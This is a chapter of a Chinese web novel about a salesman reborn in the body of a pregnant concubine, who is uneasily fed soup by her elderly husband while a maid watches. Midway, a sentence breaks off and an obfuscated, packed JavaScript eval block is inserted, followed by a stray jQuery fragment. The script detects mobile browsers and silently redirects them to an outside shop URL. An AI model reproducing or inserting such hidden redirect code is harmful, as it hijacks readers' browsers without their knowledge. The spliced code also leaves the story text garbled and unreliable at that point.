文趣网 > 其他小说 > 拉妃 > 2. 第 2 章
    半晌,门外又传来一阵脚步声——比有容的重,比娟儿的慢,带着一股子不紧不慢的稳当劲儿。

    有容听见那步子,立刻往后退了半步,垂下眼皮,跟换了个人似的。

    老梁还没来得及问"怎么了",门帘一掀,一颗圆滚滚的脑袋先探了进来。

    那颗脑袋上的头发梳得油光水滑,中间却秃了一大片,像被谁啃过一口的芝麻烧饼。腮帮子上的肉往下坠着,嘴角往上翘着,整张脸圆滚滚的,眯着眼笑——整个人就像刚出炉的菠萝油,油里透亮。

    老梁心里咯噔一下。

    这就是平南天?这就是三姨太的丈夫?这就是肚子里那玩意儿的爹?

    他脑子里飞速闪过一个画面:镜子里那张周慧敏的脸,和眼前这张被岁月和油水共同腌透了的圆脸并排放在一起——老梁第一次觉得"一朵鲜花插在牛粪上"这句老话,写得实在是太写实了。

    "婉清啊——"老爷拖长了尾音,笑眯眯地迈进来,手里稳稳端着一个托盘,上面搁着一只青花瓷碗,碗里飘着几颗红枣和几片雪白的银耳,"听说你醒了,我特地让厨房又熬了一碗,比她们送的那些都实在。来,趁热喝了。"

    老梁盯着那第三碗银耳莲子羹,胃里一阵翻涌。

    刚才娟儿那碗,他喝了大半;有容那碗,他又灌了几口。现在第三碗来了,还是老爷亲自端的——这玩意儿在宅斗剧里是补品,在他这儿快成刑具了。

    "老……老爷……"老梁憋了半天,终于挤出一声称呼,嗓子眼儿里像是塞了团棉花。他实在叫不出口"老爷"这两个字,更叫不出口"夫君"——幸好没人逼他叫夫君。

    平南天把托盘往桌上一放,也不管有容还在旁边站着,一屁股就坐在了床沿上。床板"吱呀"一声,老梁觉得自己这具纤细的身体跟着颠了一下。

    "瘦了,"平南天伸手捏了捏老梁的手腕,拇指还在他手背上蹭了两下,"发烧烧的,得好好补补。"

    老梁整条胳膊的汗毛都竖起来了。他想抽手,但理智告诉他不能抽——三姨太不会抽自己丈夫的手。他只好僵在那里,感觉自己像一条被按在砧板上的鱼,而平南天那只手还在他手背上摩挲着,带着一股子说不上来的黏腻感。

    有容在旁边站着,眼皮垂得更低了,嘴角却有一丝极淡的弧度——说不清是笑还是别的什么。

    老梁用余光瞥见那丝弧度,心里更毛了。这丫头到底站哪边的?

    "来,趁热喝。"平南天已经把碗端了起来,勺子舀了一勺,往老梁嘴边送。

    老梁脑子"嗡"的一声。

    他要喂我?

    他要喂我。

    一个快五十的销售老油条,被一个六十多的老头用勺子喂银耳羹——老梁这辈子经历过的所有社死瞬间加在一起,都比不上眼前这一幕。

    他张了张嘴,想拒绝,但平南天那勺羹已经递到了他唇边,笑眯眯的眼睛里带着一种不容拒绝的温柔。老梁忽然意识到:这个老爷对三姨太是真的好。不是敷衍,是好。是那种上了年纪的男人对年轻漂亮的小老婆的、带着点溺爱的好。

    这比冷淡更可怕。冷淡他可以应付,溺爱意味着近距离接触会频繁发生。

    老梁闭上眼,张开嘴,含住了那勺羹。

    甜。腻。滑。跟刚才两碗没什么区别。但咽下去的时候,他觉得自己咽的不是银耳,是尊严。

    "好喝吗?"平南天笑眯眯地问。

    老梁挤出一个比哭还难看的笑:"好……好喝。"

    平南天满意地点点头,又舀了第二勺。

    老梁在心里骂了一句:梁志超,你他妈上辈子造了什么孽。

    而旁边的有容,那丝弧度又深了一点点。

    平南天第二勺递过来的时候,老梁的牙关几乎是本能地咬了一下。勺沿磕在门牙上,"叮"一声轻响,在安静的厢房里格外刺耳。

    平南天愣了半秒,随即笑开了,眼角的褶子挤成一堆:"慢点慢点,又不跟你抢。"

    老梁赶紧松开牙关,张嘴接住那勺羹。银耳滑过舌面,他连嚼都没嚼就往下吞,差点呛着。平南天伸出手,掌心在他后背轻轻拍了两下——隔着睡袍,那温度像块热毛巾贴上来,老梁整个后背的肌肉都绷紧了。

    "你呀,还是这么急。"平南天收回手,低头看了看自己的掌心,又看了看老梁的脸,那眼神里的满足劲儿,老梁太熟悉了。跟KTV里甲方爸爸搂着小姑娘时一模一样。就是那种"量你也逃不出我的五指山"的眼神。

    平南天把碗放在床头小几上,没用勺子,直接端起来吹了吹,递到老梁面前:"自己喝吧,省得我一口一口喂,你也不自在。"

    老梁如蒙大赦,接过碗来埋头就灌。温热粘稠的液体滑过喉咙,他听见自己喉间发出"咕咚咕咚"的声响,像猪在拱食盆,但他顾不上了。他把碗底那几颗红枣也扒拉进嘴里,嚼都没嚼就咽了,然后把碗往小几上一放,抹了把嘴。

    "这才像话。"平南天满意地拍了拍膝盖,"我就说你精神头儿回来了。"

    他往前挪了挪屁股,床板又是一声"吱呀"。老梁下意识往后缩了缩,后背抵上了雕花床栏,退无可退。平南天的手伸过来,没有碰他的脸,没有碰他的手,而是轻轻覆在了他的小腹上。

    那只手厚实、温热、带着一层薄薄的茧,压在睡袍上,像一块刚从灶台上揭下来的蒸笼布。

    老梁低头看着那只手,脑子里的第一个念头是:我这肚子现在是平的。以前凸着的那座山没了。但那只手按着的位置,正好是肚子里两个月大的玩意儿的所在。他忽然意识到,平南天按的不是他的肚子,是"他孩子的母亲"的肚子。

    "两个多月了吧。"平南天轻声说,手指在睡袍上抚了抚,力道很轻,像在摸一只刚出炉的包子怕烫着,"我走之前那回,没想到就有了。"

    老梁的脑子"嗡"了一声。走之前那回。走之前那回。这四个字在他脑子里炸开了——也就是说,平南天和三姨太在他"来"之前半个月左右刚有过那档子事。而他现在顶着这具身体,要面对的不仅是"怀孕"这件事本身,还是"刚刚有过"这件事的后遗症——平南天显然觉得孩子是他的,而且他显然还想要。

    "我这一趟去南边,心里一直挂着你这儿。"平南天的手没拿开,拇指在睡袍上画着小圈,嘴里继续说着,"那边几个掌柜报了账来,我心里门儿清,他们想糊弄我,还差着火候。但你上回跟我说的那个'分账制',我倒是在那边试了试。"

    老梁听见"分账制"三个字,愣了一下。原主跟他说过这个?三姨太懂这个?他还没来得及消化,平南天已经接着说下去了:"分了四成利给掌事的,底下的伙计干劲倒是足了不少。你这个脑袋瓜子,比你大

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900884|212941||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姐二姐加起来都好使。"

    平南天摸了摸他的肚子,终于收回了手,站起来伸了个懒腰,宽大的绸衫下摆荡了荡,露出一截白花花的肚皮和一根深蓝色的腰带。他转头看了一眼一直站在角落的有容,仿佛才想起她在那儿似的:"哦,你二姐让你来的?"

    有容微微欠身:"回老爷,二太太让送一碗银耳莲子羹来给三太太补身子。奴婢方才已经送过了。"

    "嗯。"平南天点了点头,目光在她身上扫了一下,没有多停,"你二姐有心了。回去告诉她,三太太这儿有我照看着,让她别老惦记着。"

    "是。"有容应了一声,声音平平的,眼皮垂着,指尖拢在袖口里,整个人像一截插在花瓶里的细柳,稳稳当当的,一点多余的动静都没有。

    但老梁看见了一件事。

    平南天转身往门口走的时候,有容的视线从低垂的眼皮下抬了一寸。就一寸。那视线没有看平南天的脸,没有看他的手,而是落在了平南天脚下那双乌靴的后跟上。只落了一瞬,然后收了回去,快得像是什么都没发生过。

    老梁浑身汗毛又竖起来了。不是因为平南天那碗羹,不是因为那只温热的手,而是因为那个视线——一截女人的目光,落在另一个男人的靴跟上,快得连平南天自己都没察觉。

    他在销售行业混了二十多年,见过太多"不该看的目光"。那种"只在没人注意的时候看一眼、看一眼就收"的动作,他闭着眼都能辨认出来。

    有容抬头看向他时,脸上已经恢复了那副低眉顺眼的表情:"三太太,您要是没什么吩咐,奴婢先回去复命了。"

    老梁张了张嘴,想说"等一下",但脑子里转了三圈,实在找不到一个合适的理由把她留下来。他只好点点头:"哦,好好好。去吧。"

    有容屈膝行了个礼,转身往外走。她的步子很轻,裙摆几乎不动,像一片叶子贴着地面滑出去。走到门口时,她侧了侧身,给正好走到门边的平南天让了让路——侧身的弧度刚好,不远不近,不多不少。

    平南天在她身边经过时,脚步顿了顿。

    就半秒。老梁的余光看见平南天的脖子微微转了转,面朝着门口的方向,但视线是斜的,往左下角偏了偏——有容的头顶高度。

    然后平南天迈出了门槛,有容跟着迈了出去。两个人的背影一前一后消失在门框里,门帘垂下来,晃了两下,不动了。

    厢房里安静下来。

    老梁靠在雕花床栏上,盯着那扇还在微微晃动的门帘,胸腔里有一股说不清道不明的冷意从脊柱往上爬。他抬手摸了摸自己的小腹,隔着睡袍,那里的皮肤平坦、温热、安静得不像藏着什么东西。

    但他知道那里头有东西了。一个两个月大的、属于平南天的东西。

    他还知道平南天那碗羹是真心实意的——那颗圆脑袋凑过来吹羹汤的时候,呼出的气里带着一股陈皮和甘草的味儿,那是上了年纪的人自己喝养生茶留下的余味,不是为了演给别人看的。

    他低头看了看床头小几上那三只碗。娟儿的、有容的、平南天的。三只碗,三个人,三碗银耳莲子羹,把同一个道理写在了碗底上:这府里,你吃下去的每一口,都不只是羹。

    老梁把手从肚子上挪开,对着空荡荡的厢房骂了一句:"梁志超,你这辈子躲过了多少坑,结果掉进一个后宫里来了。"